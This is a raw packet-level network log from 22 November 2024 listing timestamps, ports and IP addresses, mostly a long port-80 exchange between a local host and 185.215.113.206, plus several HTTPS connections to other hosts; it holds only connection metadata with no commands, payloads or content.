Nov 22, 2024 00:11:57.554563999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.555299997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.555354118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.555397034 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.555444956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.556402922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.556462049 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.556528091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.556574106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.557522058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.557576895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.557610035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.557663918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.558604002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.558701038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.558753967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.559750080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.559762001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.559811115 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.560806036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.560863018 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.560883045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.560940027 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.561892033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.561975956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.562000990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.562042952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.600064039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.600150108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.600184917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.600311995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.600606918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.600665092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.600720882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.600764990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.601726055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.601790905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.601814032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.601856947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.602807999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.602870941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.602874994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.602916002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.603910923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.603969097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.604011059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.604259968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.604994059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.605062962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.605103016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.605144024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.606113911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.606164932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.606208086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.606257915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.607180119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.607280016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.607347012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.608294010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.608381987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.608407974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.608503103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.609381914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.609404087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.609435081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.609456062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.610480070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.610533953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.610560894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.610605001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.611561060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.611582041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.611665010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.613800049 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.615423918 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.615442991 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.616082907 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.616087914 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.657166958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.657226086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.657223940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.657274008 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.657757998 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.657812119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.657887936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.657937050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.658849001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.658896923 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.658977032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.659024000 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.659940004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.660012007 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.660038948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.660082102 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.661024094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.661098957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.661134005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.661174059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.662141085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.662189007 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.662197113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.662237883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.663209915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.663269997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.663302898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.663352966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.664323092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.664376020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.664423943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.664468050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.665313959 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:57.665400028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.665457964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.665528059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.665577888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.665796995 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:57.665812969 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:57.666529894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.666583061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.666667938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.666766882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.667511940 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:57.667608023 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:57.668965101 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:57.669078112 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:57.669244051 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:57.669253111 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:57.723706007 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:57.728912115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.728969097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.728991032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.729033947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.729444027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.729584932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.729635000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.729675055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.729765892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.729832888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.730732918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.730781078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.730842113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.731856108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.731900930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.731909990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.731978893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.732907057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.732969999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.733009100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.733175039 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.734010935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.734081984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.734121084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.734164000 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.735116959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.735165119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.735214949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.735294104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.736208916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.736265898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.736484051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.736526966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.737361908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.737400055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.737425089 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.737462044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.738424063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.738477945 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.738517046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.738549948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.739500999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.739590883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.739599943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.739636898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.740592003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.740681887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.740699053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.740823984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.762461901 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:57.762499094 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:57.762581110 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:57.763335943 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:57.763370991 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:57.763612986 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:57.764493942 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:57.764528990 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:57.764683008 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:57.765167952 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:57.765183926 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:57.765399933 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:57.765417099 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:57.765659094 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:57.765676022 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:57.768290997 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:57.768305063 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:57.768591881 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:57.769768953 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:57.769787073 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:57.802448034 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.802681923 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.802720070 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.803802967 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.803878069 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.806090117 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.806166887 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.806221962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:57.806294918 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.806307077 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.807818890 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.808083057 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.808094978 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.808778048 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.809144020 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.809227943 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.809307098 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.848388910 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.851372004 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.863504887 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.864032984 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.864046097 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.865106106 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.865164042 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.866063118 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.866091013 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.866130114 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.866307974 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.866318941 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.866517067 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.866527081 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.867563963 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.867710114 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.868695974 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.868819952 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.869241953 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.869250059 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.908763885 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.909301996 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.909353971 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.909919024 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:57.909931898 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:57.910962105 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.911283016 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.918823004 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.919255972 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.919265985 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.919615030 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.920006037 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.920070887 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.920294046 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:57.923855066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:57.956139088 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:57.956933975 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:57.956948042 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:57.957434893 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:57.958545923 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:57.958632946 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:57.958775997 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:57.960803986 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.960942030 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.961112976 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.961467028 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.961467028 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.961486101 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:57.961555004 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:57.963335991 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:57.999334097 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.066842079 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.066909075 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.067037106 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.068161964 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.068178892 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.068188906 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.068195105 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.072273970 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.072290897 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.072320938 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.072344065 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.072679043 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:58.072696924 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.073421955 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.073446989 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.073460102 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.074104071 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:58.074239016 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.074300051 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:58.119338036 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.126373053 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.127161026 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.127185106 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.127751112 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.127758026 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.150108099 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:58.150192022 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:58.150239944 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:58.151000977 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:58.151019096 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:58.153558016 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.154032946 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.154050112 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.154412985 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.155442953 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.155510902 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.155829906 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.160197973 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:58.160227060 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:58.160495996 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:58.162306070 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:58.162318945 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:58.203336954 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.237435102 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.237452030 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.237545967 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.237565041 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.237631083 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.237694025 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.240142107 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.240484953 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.240562916 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.241740942 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.241761923 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.242460966 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.242482901 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.254976034 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.255050898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.255096912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.255141973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.255496025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.255551100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.255575895 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.255614996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.256584883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.256683111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.256691933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.256735086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.257668018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.257719040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.257766008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.257807016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.258749962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.258802891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.258830070 CET	80	49788	185.215.113.206	192.168.2.5
